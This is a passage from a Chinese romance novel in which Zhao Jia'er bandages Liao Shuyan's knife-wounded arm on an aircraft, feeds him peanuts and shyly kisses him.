而机舱的另一边,赵嘉儿看着廖书言血肉模糊的右臂,泪水渐渐模糊了双眼,一边流着泪,一边替他清理伤口。 廖书言抬起左手,用拇指抹去她眼角的泪痕,笑道:“我没事。” 赵嘉儿却道:“我看着都疼,怎么会没事呢?” 那一刀砍在他的手臂上,又长又深的伤口就像在她心上烙上了无可磨灭的伤痕。 “去医院了,再好好处理一下,”赵嘉儿缠上绷带,吸着鼻子说着,“廖老师,您最近可能都不能拿笔画画了……” 廖书言低低地应了一声:“嗯。” 他向她招了招手:“嘉儿,坐过来。” 赵嘉儿慢慢移到他左手边坐下,紧紧挨着他的身子,嘟囔着:“廖老师是天底下最傻最傻的人!” 廖书言一愣,笑问:“比你还傻?” 赵嘉儿抱住他的手臂,用脸蹭了蹭他的肩:“我才不傻!” “轻易就被人骗走了,还不傻?” “那是……”赵嘉儿有心辩护,才发现无言以对,只能小声道,“不过,我一路上都留下记号了,廖老师应该见到了吧?” “那些花生瓜子?” “对呀!”赵嘉儿点头,“灾区里有个小朋友喜欢松鼠,有人给他送了一只,我还打算今天去喂那只松鼠呢!” 她今天穿了一件白色T恤,外面穿着蓝色牛仔背带裤,背带裤前有一个大大的口袋。 她从背带裤的口袋里摸出剩余的花生,剥开一粒送到他嘴边:“廖老师肯定没吃晚饭,给你吃,勉强可以垫一垫。而且,廖老师流了很多血,我听吴主任说,花生有造血的功能,您更应该多吃了。” 廖书言很少吃这些坚果类食物,可是,这是她亲手剥给他吃的,是她的一番心意,他几乎是毫不犹豫地将嘴边的红色花生粒含在了嘴里。 她剥一粒,他吃一粒。 仿佛一切都没发生过一样。 她不提,他不忍相问。 “嘉儿,”廖书言微微倾着身子,凝视着她的眉眼,低声问,“跟我在一起,后悔么?” 赵嘉儿剥花生壳的手一顿,又继续去剥,闷闷地问了一句:“廖老师为什么要这么问?” 她将一粒花生塞进他正要说话的嘴里,笑道:“喝了那个什么‘绿色仙子’之后,很多记忆我都模糊了,不想再想了,所以,廖老师也不要再说了,安安静静吃花生。” 廖书言嚼着花生,笑了笑:“把我当成那只松鼠了?” 赵嘉儿道:“松鼠比您可爱……不过,您比松鼠听话,不会咬人。” 她再喂他花生时,廖书言却连她的手指一并咬住了。她慌乱地收回手,红着脸道:“才夸您……” 廖书言靠近她的脸,认真地问了一句:“这回……做好准备了么?” 赵嘉儿抬头:“什么?” 廖书言的耳后根微微泛红,不答,只是静静地瞅着她。 赵嘉儿瞬间明白了过来,双手扶住他的肩,低着头,道:“等一等。” 他这是又想要亲她了? 赵嘉儿想起上回的窘迫,此时又是一阵慌乱,紧张得双脚无处安放。 她猛地抬头,闭上眼,快速地在他嘴上亲了一下。